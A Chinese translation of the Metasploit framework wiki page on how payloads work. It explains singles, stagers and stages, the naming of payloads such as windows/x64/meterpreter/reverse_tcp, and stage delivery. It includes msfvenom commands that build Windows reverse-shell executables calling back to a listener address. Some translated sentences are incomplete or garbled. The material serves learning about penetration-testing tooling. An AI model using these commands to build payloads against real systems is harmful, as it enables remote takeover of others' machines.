原文地址:https://github.com/rapid7/metasploit-framework/wiki/How-payloads-work

译者:王一航 & Google 2018-05-09

校对:王一航 2018-05-09

工作原理

Payload 模块存储在 modules/payloads/{singles,stages,stagers}/<platform> 目录中。
当框架启动的时候,stages 将会和 stagers 合并起来创建一个完整的可以在 exploits 中使用的 payload
然后,handlers 将会和 payload 进行对接,以便于我们的框架知道应该如何在一个给定的通讯机制下创建 sessions

payloads被赋予参考名称,指示所有的片段,如下所示:

Staged payloads: <platform>/[arch]/<stage>/<stager>
Single payloads: <platform>/[arch]/<single>

例如一个有效 payloads 的完整引用像这样:

windows/x64/meterpreter/reverse_tcp

其中:平台为 windows 平台,架构为x64,我们提供的最终的 stagemeterpreter,而交付它的 stagerreverse_tcp

注意:其中 架构 这个选项字段是可选的,因为有些情况下并没有必要去纠结架构。一个典型的例子是:

php/meterpreter/reverse_tcp

我们不需要为 PHP 的 Payload 指定一个架构,因为我们提供的是解释代码而不是原生的二进制代码

Singles

Single payloads 是TODO。 它们具备和 Metasploit 建立沟通机制的能力,但是并不是必须与 Metasploit 进行通信。 一个示例:是目标没有网络访问时,仍然可以通过USB密钥提供文件格式攻击,在这种场景下,您可能需要Singles

Stagers

stagers 是一个小发射器(译者注:类似火箭的多级启动模式),旨在创建某种形式的通信,然后将执行传递到下一个阶段。 使用 stager 解决了两个问题。 首先,它允许我们最初使用一个小的有效载荷来装载更多的功能更大的有效载荷。 其次,它可以将通信机制与最终阶段分开,因此一个有效载荷可以与多个传输一起使用,而无需复制代码。

Stages

既然 Stager 将通过为我们分配一大块内存来处理任何大小限制来处理它,那么stages可以是任意大的。 其中一个优点是能够使用C这样的高级语言编写最终阶段的有效载荷。

多级推进 (Delivering stages)

  1. payloads 回连的 IP地址 和 端口 被嵌入在 stager 中。就像上面讨论的那样,所有 staged payloads 已经不再需要
    当您使用分阶段 payloads 创建可执行文件时,您实际上只是创建了 stager。 所以下面的命令会创建功能相同的 exe 文件:
    msfvenom -f exe LHOST=192.168.1.1 -p windows/meterpreter/reverse_tcp
    msfvenom -f exe LHOST=192.168.1.1 -p windows/shell/reverse_tcp
    msfvenom -f exe LHOST=192.168.1.1 -p windows/vncinject/reverse_tcp
    (需要注意的是:尽管上述的 Payload 的功能是相同的,但是我们会做一些随机化的工作,因此没有两个可执行文件是完全相同的)
  2. Ruby端作为客户端,使用由stager设置的任何传输机制 (例如:tcp, http, https)
  3. shell 阶段的情况下,当您与终端进行交互时,Metasploit 会将远程进程的标准输入流 stdio 连接到您的终端。
  4. Meterpreter 阶段的情况下,Metasploit 将开始使用 Meterpreter Wire 协议。

点击收藏 | 0 关注 | 1
登录 后跟帖